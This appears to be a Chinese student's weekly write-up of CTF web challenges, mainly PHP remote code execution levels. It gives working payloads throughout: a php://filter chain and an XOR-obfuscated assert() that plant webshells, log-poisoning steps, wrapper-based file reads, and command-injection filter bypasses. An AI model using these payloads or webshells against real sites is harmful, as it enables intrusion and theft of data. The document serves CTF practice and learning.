第8周报

hctf

web rce

根据提示用php伪协议的php://filter

可直接读取文件

因为不知道flag在那个文件里面所以不能直接加密读取文件

因为代码里有include()函数所以用file://

include 和 require 语句用于在执行流中向其他文件插入有用的的代码。

因为题目有rce,rce需要木马,可以用php伪协议,将木马写在临时流中注入

这里有一个工具https://github.com/synacktiv/php_filter_chain_generator

打开kali,在工具那里打开终端$,输入python3 php_filter_chain_generator.py --chain "<?php eval(\$_POST[1]);?>"

chain后面是想要插入输出的木马,也可以是其他代码

可以得到一串代码如:

URL/?1=

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

在参数输入这个,就可以在post里面输入参数的php代码,记得;

eval()函数是php代码,要把$转义\,避免post变成变量,若没有这个变量就会忽略,转义后就是字符串

法二用蚁剑连接

注:path的环境变量,配置过的不用输入完整路径读取,system()里面的是命令,就是在cmd里面运行的

web签到

thinkphp根据版本找解法

ezrce

异或

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

将想要输入的代码经过异或

上面代码的意思是

assert($_POST[_]);

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

如果是get     ?参数=上面的代码,在post里面输入_=代码

post   在post里面参数=上面代码然后&_=代码

例:

在post里

eval=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);&_=system("cat /flag?")

获得flag

web33

这题过滤掉了flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|"包括点,单引号,反引号,分号,括号,双引号,但是并没有过滤单个的字所以只要不出现一样的字段就行

php中不需要括号的函数,如:
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";

文件读取四大函数:

require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

其中include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被执行

这里利用include()可直接读取文件源代码的特性

url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

php文件需要base64编码

?>可代替分号,然后用传参来绕过

法二:

日志注入

url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
/var/log/nginx/access.log是nginx默认的access日志路径,

用harkbar访问后,点User-Agent,在下方User-Agent一栏中写入一句话木马,再次访问,然后用中国蚁剑连接即可

web35多过滤了一个等于号,同上

web36多过滤了0-9,传参改成不是数字的

web37

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输,也可不用,但编码后可躲大部分过滤

格式:data://text/plain;base64,xxxx(base64编码后的数据)

我这里传输一个php代码进去,代码包含对flag的读取

<?php system("tac flag.php")?>

再用base64编码传输得到flag

法二:日志注入,同下

web板块web4

直接url参数输入日志路径/var/log/nginx/access.log发现能访问直接蚁剑连接

注:日志路径主要

  /proc/self/environ

  /var/log/auth.log

  /var/log/apache2/access.log

web38

跟上一题比加了过滤php,但对base64无用,同上一题一样

web39

可以看到c变量后面多了.php,但是不用管?>为php结束符号,后面拼接的.php会被忽略掉

我们直接?c=data://text/plain,<?php%20system("tac fla*.php");?>

web40

无参数rce命令执行

法一:c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

get_defined_vars() 返回由所有已定义变量所组成的数组,会返回 G E T , _GET, G​ET,_POST, C O O K I E , _COOKIE, C​OOKIE,_FILES全局变量的值,返回数组顺序为get->post->cookie->files

next()将内部指针指向数组中的下一个元素,并输出。

就是用一堆可以返回get或post变量的函数,全部套在一起再在外部传入参数,进行命令执行

法二:

c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录

show_source():查看源码

getcwd(),pos(localeconv())作用为弄出一个“.”的参数

可以将全部的文件源码查看到

web42

/dev/null 2>&1 意思是不回显

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

我们这里用||分隔直接先查看文件

?c=ls||再

url/?c=tac flag.php||

web43

和上题比过滤了cat和分号,所以同上

web44

又多过滤了flag,那就用通配符模糊匹配

url/?c=tac fl*.php||

web45

多过滤空格,

%09或$IFS$9代替空格

url/?c=tac%09fl*.php||

web46

多过滤了一些,但不重要,同上一题

web47

同上

web48

同上

web49

*被过滤,换成?,也可以用''将字符隔开

url/?c=tac%09fla?.php||

web50

因为09被过滤,所以用<当空格

url/?c=tac<fl''ag.php||

web51

tac被过滤就和flag一样用''隔开

?c=t''ac<fl''ag.php||

web52

<也被过滤了但是$放出来了,那就用${IFS}代替空格

通过?c=find||

发现flag在根目录下所以,完整路径为/flag

?c=t''ac${IFS}/fl''ag||

web53

同上,但这次没有了不回显

所以把||去掉就行

?c=t''ac${IFS}/fl''ag、

web54

过滤了很多*号接的字母,凡是按序出现了cat 都被匹配过滤

法一:我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了

?c=/bin/ca?${IFS}????.???

然后flag被藏在源代码里

法二:使用uniq查看flag

c=uniq${IFS}f???.php

web55

无字母命令执行

法一:

?c=$'\154\163'

会执行ls

?c=$'\143\141\164'%20*

会执行cat flag.php

法二:

由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。

但因为字母不能传入,我们需要使用通配符?来进行代替

?c=/bin/base64 flag.php

替换后变成

?c=/???/????64 ????.???

法三:

?c=/???/????2 ????.???
// 即/bin/bzip2 flag.php
//把flag.php给压缩,然后继续访问url/flag.php.bz2就可以把压缩后的flag.php给下载下来。

还要解压

wbe57

知道flag在36.php里面,但是过滤了数字和字母和一堆符号,所以要想办法搞出36

这里有一个python脚本

get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))"		# -1
payload = get_reverse_number.format(negative_one*想求的数+1)
print(payload)

记得复制前先把数字改了

得到

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

因为是eval()所以直接参数传入include()函数,用php://filter/直接读取flag.php文件的源代码

直接在post里面

c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

法二:POST传入c=highlight_file("flag.php");

ighlight_file( $filename, $return )

$filename:它是必填参数。它指定要显示其内容的文件。

$return:它是可选的布尔值参数。其默认值为FALSE。如果将其设置为TRUE,则该函数将以字符串形式返回突出显示的代码,而不是将其打印出来。

法三:c=show_source("flag.php");

web59,60,61,62,63,64,65

题目重了,同上

web66

这题与上面的不一样,flag并不在flag.php里面,所以要查看文件

先查看根目录内容

c=print_r(scandir("/"));

先用scandir列根目录内容,用print_r回显

c=var_dump(scandir('/'));

这个也行

发现flag.txt,用前面的方法从根目录查看flag.txt即可

例:c=highlight_file("/flag.txt");

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值